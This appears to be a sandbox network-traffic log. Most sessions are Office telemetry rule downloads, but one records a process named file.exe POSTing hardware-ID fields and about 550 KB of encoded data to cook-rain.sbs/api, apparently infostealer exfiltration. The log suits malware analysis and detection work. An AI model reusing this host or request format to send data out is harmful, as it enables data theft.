2024-11-20 00:18:32 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:32 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: bfe6d614-201e-006e-7a8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001832Z-1777c6cb754lvj6mhC1TEBke9400000008ug00000000ha33 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:32 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.5	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:32 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:32 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:32 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: e83eb970-001e-0046-777e-3ada4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001832Z-r1d97b9957789nh9hC1TEBxha8000000084g00000000gadv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:32 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.5	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:32 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:32 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:32 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: a1d815ed-301e-0096-3f8c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001832Z-185f5d8b95c9mqtvhC1NYCghtc00000009fg00000000mfpe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:32 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.5	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:32 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:32 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:32 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 62f36519-501e-0016-468c-3a181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001832Z-185f5d8b95c4vwv8hC1NYCy4v400000009kg00000000e5vr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:32 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	49775	188.114.96.3	443	4164	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:32 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=74D2SUZ5XT6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 551257 Host: cook-rain.sbs
2024-11-20 00:18:32 UTC	15331	OUT	Data Raw: 2d 2d 37 34 44 32 53 55 5a 35 58 54 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 34 45 35 33 46 33 44 32 35 34 39 37 43 31 37 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 37 34 44 32 53 55 5a 35 58 54 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 37 34 44 32 53 55 5a 35 58 54 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 37 34 44 32 53 55 5a 35 58 54 36 Data Ascii: --74D2SUZ5XT6Content-Disposition: form-data; name="hwid"24E53F3D25497C1763CFCF7E6C45F838--74D2SUZ5XT6Content-Disposition: form-data; name="pid"1--74D2SUZ5XT6Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--74D2SUZ5XT6
2024-11-20 00:18:32 UTC	15331	OUT	Data Raw: da d9 59 11 65 10 82 ef 8e b1 c1 0d 71 17 9f 41 70 0d 54 2e 8b d7 6e 84 0b dc 80 39 7b e8 cb f9 8b ac 6b fd 63 10 22 f4 e7 3e 60 f7 7a 31 48 3b 78 36 f1 2e 0c a7 45 75 5a 06 7a 8d 93 53 2c e5 4d 61 14 44 7c 0c 1d 11 84 28 7f 22 4a 8b 31 b4 13 82 45 07 76 f4 ab 52 f3 9c da 1c 13 f9 86 e6 eb 83 f9 aa 6e e7 ad f0 83 da ad 63 76 3f c6 6a 8c ac 76 b1 6a 3b ef 4e 3a bc 1a 1e 94 b7 7b 9d c1 be 62 f7 a3 75 c6 b1 d4 d7 f1 f2 37 6b 14 63 b4 39 55 cb 16 74 5f 0b c6 b3 70 49 a9 e8 42 fe 45 ff ca 40 b2 3a 53 95 72 ef 25 0e 74 9f 92 a7 39 8d 74 e4 e8 a3 a8 48 e2 de 7d 5b 66 8f a6 26 1e 74 97 ea 81 9a cf 18 70 d6 fa 3c 22 e8 08 fd 05 e8 c2 2e 2d 9a 0a 6a 81 7d fc 16 45 cf 98 a2 cf 2e 38 61 2a bc 8f 79 fb cd 4b 8d 42 65 11 39 b9 88 4b bb b3 f7 eb fa 79 1d 7f 5d 60 62 f4 Data Ascii: YeqApT.n9{kc">`z1H;x6.EuZzS,MaD\|("J1EvRncv?jvj;N:{bu7kc9Ut_pIBE@:Sr%t9tH}[f&tp<".-j}E.8a*yKBe9Ky]`b
2024-11-20 00:18:32 UTC	15331	OUT	Data Raw: c8 64 31 06 2a bd 00 b3 12 0d e0 b9 33 a0 d0 0c e4 fe 8e da 01 e3 25 d8 46 0a 75 23 28 14 95 43 7a f9 3f 38 f8 e9 3e 6e 2e 60 36 42 a0 5a a9 10 c9 03 ce 46 03 b8 ba 02 34 c9 20 11 fb 11 34 d5 1f d5 08 3b 55 f6 c0 5b 28 c6 ef 23 5c b3 9d 9a 79 a5 d0 31 32 2b a5 cc 56 14 55 22 32 17 80 c7 c8 9c 5b d3 be d0 4f c7 c0 5a bb e5 3c d6 76 01 cf 2e 09 7e 7c 6e 5b 01 44 c5 59 ed f9 8a f4 80 1f f2 dd 57 07 fe bc 7d 44 19 73 a6 1b 97 6d d6 96 b3 63 19 61 29 7e dc 85 60 47 df af 26 c6 89 98 a5 f0 9b 0c c3 0c 76 ce 1d 24 cf 2b 3e 45 03 26 79 bb 42 0f 0a 20 e9 7d 0a 6c a9 48 ca 26 b7 f8 74 f8 a2 a8 19 bc 52 f9 bb 6a 8e b3 33 bd b6 7f 4d 53 2a f0 33 0a 19 eb e7 77 7b ad 94 5a 50 ea 0d e4 74 f7 a4 78 54 a4 ce 5b 75 7d b0 75 24 3e c9 b6 e4 33 05 eb d6 82 f5 26 c2 15 3c bc Data Ascii: d13%Fu#(Cz?8>n.`6BZF4 4;U[(#\y12+VU"2[OZ<v.~\|n[DYW}Dsmca)~`G&v$+>E&yB }lH&tRj3MS3w{ZPtxT[u}u$>3&<
2024-11-20 00:18:32 UTC	15331	OUT	Data Raw: fb de de bb 49 72 91 ed 6c 07 79 a6 3d 3f 57 98 20 b2 31 6c 9e 92 bb 84 d1 1c 3b fe 2e bb 46 88 b5 e9 e9 b5 25 ff 59 a9 4e 67 b7 be ea 22 39 05 e1 bc 55 7e 98 eb 2a 3c 18 71 b0 7f f3 83 91 0e af f0 0a 76 fc 51 0d 6b bf d3 06 44 8e 1f 57 4d b2 ce 7a df 74 0b 40 5e ff 48 4e ed 45 29 e2 3b b4 68 fe d8 fb 1f a3 d5 b5 d5 7a 22 22 ac 8b e7 85 42 af 14 4b 20 f4 02 cd 70 66 0f bc d0 a7 ea ba 76 5d 8c 48 4c 11 22 b7 b6 6c 9d 4e cd be 1f e9 fe 19 97 11 ad e7 61 35 d7 f4 f3 fd 64 99 52 cc e9 f3 24 b7 25 f5 8d 2f 6e 9e 62 d6 2c 42 e3 9f 86 41 a4 39 f4 99 9d dd ed 9d 34 71 16 77 61 49 1a da ed f9 d4 37 39 b1 ea 81 ec b5 1a 5c 30 d1 98 ec cc 4c 90 97 c4 31 e3 3c a6 21 62 0c 1e e3 2a 50 d7 bb f9 25 34 5d da dc 8c 06 c3 ba a3 c5 82 d4 fa ca 80 f9 e4 5d 8a 04 76 09 f5 c8 Data Ascii: Irly=?W 1l;.F%YNg"9U~<qvQkDWMzt@^HNE);hz""BK pfv]HL"lNa5dR$%/nb,BA94qwaI79\0L1<!bP%4]]v
2024-11-20 00:18:32 UTC	15331	OUT	Data Raw: ae 5d 84 fd a5 07 d6 d6 3e 82 94 46 f8 fa 20 6c 88 f6 59 99 7f 6b 83 0e 70 ac 74 fa bd 3f 7b a5 06 40 a5 96 de ce b3 19 c7 5d fc f1 d7 21 26 09 be ab 8f 1a 01 a0 31 80 d5 ae 62 93 7d 47 46 7e 0a d8 0c 38 f8 84 5c 87 d2 37 9d a4 54 04 45 5b 1d 97 0e bf ea 51 b0 1c 49 7b 78 d7 7d 90 3e 36 49 4d 95 af 77 93 5e f8 01 d1 14 b1 a1 8f e6 47 67 80 cf 40 e7 1d 81 f6 ff 57 16 5b 93 fe f7 27 47 26 c8 27 71 45 c1 28 99 86 5d f5 18 4e a7 a7 00 9b 11 ec e9 1f 02 29 bc 20 2b d7 38 8a 71 0a 90 66 f3 7c 38 8d a6 67 62 a2 e1 8f b3 b1 67 c2 14 80 04 8a 71 4a c8 55 05 a9 9c 25 b7 8e 72 ec 8a 7a 10 19 2a 06 ce ba a5 63 61 b5 b0 1b 52 2b bf dd 50 d4 a8 60 31 d4 ad 9a d3 b4 38 94 03 48 7e eb d6 48 61 1a 3a 42 18 51 e2 b8 f1 00 b2 27 a1 5e 4e d0 af b4 b9 69 3e 36 34 fb 7a 1b 89 Data Ascii: ]>F lYkpt?{@]!&1b}GF~8\7TE[QI{x}>6IMw^Gg@W['G&'qE(]N) +8qf\|8gbgqJU%rz*caR+P`18H~Ha:BQ'^Ni>64z
2024-11-20 00:18:32 UTC	15331	OUT	Data Raw: 7a d6 25 c7 f8 83 95 3d d7 3a 20 a4 dc ea 01 a0 5b aa 9d 04 1d 2a 24 cf d3 35 b7 78 e1 e6 62 9e bc 86 f6 13 e9 23 fd d6 4d c5 a7 65 17 35 9b 4b d1 ef e2 37 1b 03 3a 55 55 17 d0 79 7d a9 ce 2e df 0e ee 66 15 dd 08 fd 99 1d a8 76 52 16 7a ba 9f aa fb 64 8b f9 76 b0 a7 ad 5e be f9 3f 7d aa c8 74 05 88 aa 84 03 66 7f c9 9b 59 4e 19 ce 10 2d 8f ea 33 ae 72 68 89 08 ce 93 13 e1 bc c3 83 28 38 4e 83 dd b5 07 87 42 78 c9 8f 4f 4a 17 8a 0f 9b 9c 7b df bf 1d 1c bc 6d f1 08 e7 bf f1 e0 41 f8 e2 20 88 7d 00 df 88 76 e1 c1 f8 1d ab b4 92 8f 33 65 3a b7 aa 80 93 24 09 95 79 32 50 4d f9 0e 91 4d d2 a2 b6 0e 22 3a 8b a8 40 8f 3e b2 14 e4 37 7f 13 34 73 3b 5a 36 6d 30 25 57 70 b4 7a a1 2c 8f bb 4d 41 cd 87 42 c6 66 91 5a 31 2a 64 f9 11 0a 53 a3 d3 73 93 b8 48 00 03 98 1d Data Ascii: z%=: [$5xb#Me5K7:UUy}.fvRzdv^?}tfYN-3rh(8NBxOJ{mA }v3e:$y2PMM":@>74s;Z6m0%Wpz,MABfZ1dSsH
2024-11-20 00:18:32 UTC	15331	OUT	Data Raw: a5 3f 1e dd e1 53 1f f6 9b e7 fc 55 28 41 11 ae 4c ea 9c 5c cc 68 d2 57 49 4c 4f 7c fb f9 2c ab 72 05 80 e3 9a 55 97 06 6c 20 42 6a 30 12 d9 e7 be 68 b9 6d ce f5 99 df c2 a3 60 9d 7e bf 82 04 50 b1 f6 ef 83 af 8c 1b 4d 69 3b 77 33 ae bd 8d 66 d0 39 10 67 aa ab e8 3b c4 94 6e ef 4b dc 6f 1c b0 60 3f 44 4e 1b f7 a5 1c 7d ec 52 aa 72 d9 b9 fc c0 93 b5 80 a9 96 47 0b de aa b3 79 52 a0 f8 aa ee c9 37 1d 41 8c 4f 9c dd 02 28 ed 8a 95 1b 9c 95 fc cc e6 be a0 fd 28 2a 3b e0 80 dd ac 20 a5 ec 7f 63 5a 0f 02 7b dc 06 61 c8 74 36 01 e4 f3 92 d4 b5 8e 0f b0 fb c2 4d 80 09 4c 01 54 51 57 9a 08 c1 19 ea f8 a0 d2 22 5a c6 cf d7 e3 44 e7 3f bd 25 90 5c fe 6f cc 41 bc 93 cb ca 46 48 18 ab 84 58 ad f2 c6 c7 cf 62 ce b9 41 8d a2 20 e7 0e e8 fe ec ac c8 d4 e6 78 1c f0 fd 59 Data Ascii: ?SU(AL\hWILO\|,rUl Bj0hm`~PMi;w3f9g;nKo`?DN}RrGyR7AO((*; cZ{at6MLTQW"ZD?%\oAFHXbA xY
2024-11-20 00:18:32 UTC	15331	OUT	Data Raw: 55 ac 82 08 22 ca e3 56 1e fe 80 86 62 a9 c8 5a 8d a7 4e ff 3c 54 af e5 c7 16 5a 46 aa 58 ff 95 3d 98 1d 1d 8a ab 05 23 7e 2e cf ab 00 6c 68 37 07 34 4e b1 33 ee b9 88 56 ca 61 57 e4 6b dc e2 04 06 a5 7a c2 2e ed 92 ef 65 20 df 33 0f b5 41 e0 8a 55 be d7 f2 cb ea 26 b1 28 96 e4 31 04 e6 b1 cf f8 8d 74 16 3b 1b 16 7c 69 af 8d f4 3f 4d 4e 97 eb 09 2b 11 63 3a 87 e6 01 9b 0a d9 8a a4 e4 99 a4 c7 dd 99 36 4d b5 37 bc 5e d8 f1 9a e4 f8 92 34 05 d5 29 6a 40 01 33 34 93 de 48 e9 66 22 01 a2 5d e2 fb 29 92 fb 08 7a dc 93 ca 0b be 0f a3 8b d1 51 83 78 e0 56 72 02 ce eb fe 18 73 fe 9a 90 b3 9e 9e 32 fa da f9 5e 69 8d 07 9c 46 bd fa 58 6a 3e 46 1f 37 ab c3 33 2e d6 13 97 b4 4b 6a 6b 7c c8 58 e7 23 14 d8 2d 85 ba 3e bf e0 f0 5a 10 64 ca 01 01 c7 2e 3d cc d6 79 ab 37 Data Ascii: U"VbZN<TZFX=#~.lh74N3VaWkz.e 3AU&(1t;\|i?MN+c:6M7^4)j@34Hf"])zQxVrs2^iFXj>F73.Kjk\|X#->Zd.=y7
2024-11-20 00:18:32 UTC	15331	OUT	Data Raw: cf 86 79 08 27 4e da ce 15 fa ea da bb a9 e5 c1 9b 2b ff d4 6b 89 82 2d 6e b8 34 4d dc cf c7 20 4d 2a e4 e0 5e 4c d1 06 d2 85 d4 2c 97 80 6c 5b c3 33 4e e1 5d 19 bf a0 aa 07 e8 3c 24 c8 1c 97 7b 4f cd 1b 35 10 c3 76 b8 1b 8d b7 58 c2 6f 0d 23 43 ce 5d a9 f2 aa c4 00 51 c6 4a 3f 69 f5 03 1d c9 ca d4 d1 b0 97 c9 55 c5 f3 06 04 08 e1 5e e6 4c 7d a2 ad 42 08 1c 12 cb df ce ad b9 81 09 9b dc 6f 71 d0 2c 46 2a 92 34 d6 f6 b7 4e 9f ae 41 32 9b d7 8b 13 a8 93 f1 32 45 c7 37 53 7e e3 b2 5f 92 e5 fe 5e c1 42 92 f3 a7 38 a9 61 54 14 35 e5 b5 52 42 13 ef f6 1c 6f 76 29 77 ff 60 05 26 14 04 8b b1 37 3d ab 2a 89 13 bf 67 bb f1 5a 76 f4 99 ba 6e 67 00 ff da 7a d0 ba fe 5f 12 ca 4c 13 ca bf 53 31 36 f0 5d 46 db 9d 27 36 d5 9f b2 4f 25 1d fc 29 2a 3d 73 8a 70 1e 7b cd 34 Data Ascii: y'N+k-n4M M^L,l[3N]<${O5vXo#C]QJ?iU^L}Boq,F4NA22E7S~_^B8aT5RBov)w`&7=gZvngz_LS16]F'6O%)=sp{4
2024-11-20 00:18:32 UTC	15331	OUT	Data Raw: 76 89 9c 3b 3e 64 52 b6 ad 00 22 44 9d ef ef fe 6c 45 ce 14 eb 1f 15 05 93 21 df 97 e7 1c b2 e4 41 66 da d5 b2 f3 d0 a2 20 c0 ff ca b4 43 c0 16 59 e1 2a 48 7c 42 4c 3c 8a c0 dd 21 c2 7b 91 aa fc 49 bd ab e4 57 a7 25 23 1e 40 d4 13 3f 93 2a 8f 77 eb 61 c1 a4 73 d2 42 46 13 42 99 48 39 95 2c ae 91 9a 3a a6 4a ae 99 24 31 76 2a 27 da 04 82 63 a1 e8 d5 91 a5 40 b2 21 90 04 b5 85 34 f4 d2 44 41 6d b8 c5 5e 7b 55 e6 b9 1d ae 59 d5 65 54 d8 b8 71 d1 68 99 67 2e 66 1d c3 1f f2 72 f1 9d fd 79 92 36 35 de 4d 51 37 09 77 47 9c a5 ae e5 41 19 c2 08 7e c6 3d 6a 37 71 05 cc 22 1f c1 4a 54 8d 63 95 f0 92 08 36 ba bf 67 a6 78 ac 2f 52 02 9c 6c ed 7d 6a 04 b2 ac ce b3 88 77 29 99 a8 c4 a1 54 31 a1 f3 bb 12 01 5d 3f 3a 34 f6 ef 23 88 e9 b7 ea 33 75 47 e1 83 29 a0 3a 4a 72 Data Ascii: v;>dR"DlE!Af CYH\|BL<!{IW%#@?wasBFBH9,:J$1v*'c@!4DAm^{UYeTqhg.fry65MQ7wGA~=j7q"JTc6gx/Rl}jw)T1]?:4#3uG):Jr
2024-11-20 00:18:35 UTC	998	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d78h0a5k3viag59iil82303al3; expires=Sat, 15-Mar-2025 18:05:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6sis6obFmBpebk3PAkTs%2F8mEQKfnrfojVDDeaE8V%2BLNDObYzw77vAwI%2F7iLCBXP%2Ftd%2BVL0qe6snuOu4NXJRsf%2BJwctU%2FLO3lucYajv5J78GjuoXsrU3LTxAx%2BG9IL8t2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e54436ba85a42fb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1636&sent=191&recv=568&lost=0&retrans=0&sent_bytes=2829&recv_bytes=553728&delivery_rate=1815920&cwnd=230&unsent_bytes=0&cid=3863fd6c4d0ef2ed&ts=3120&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.5	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:32 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:32 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:32 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 7511d71d-801e-0083-6e8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001832Z-r1d97b99577ckpmjhC1TEBrzs0000000086g000000004kqt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:32 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.5	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:32 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
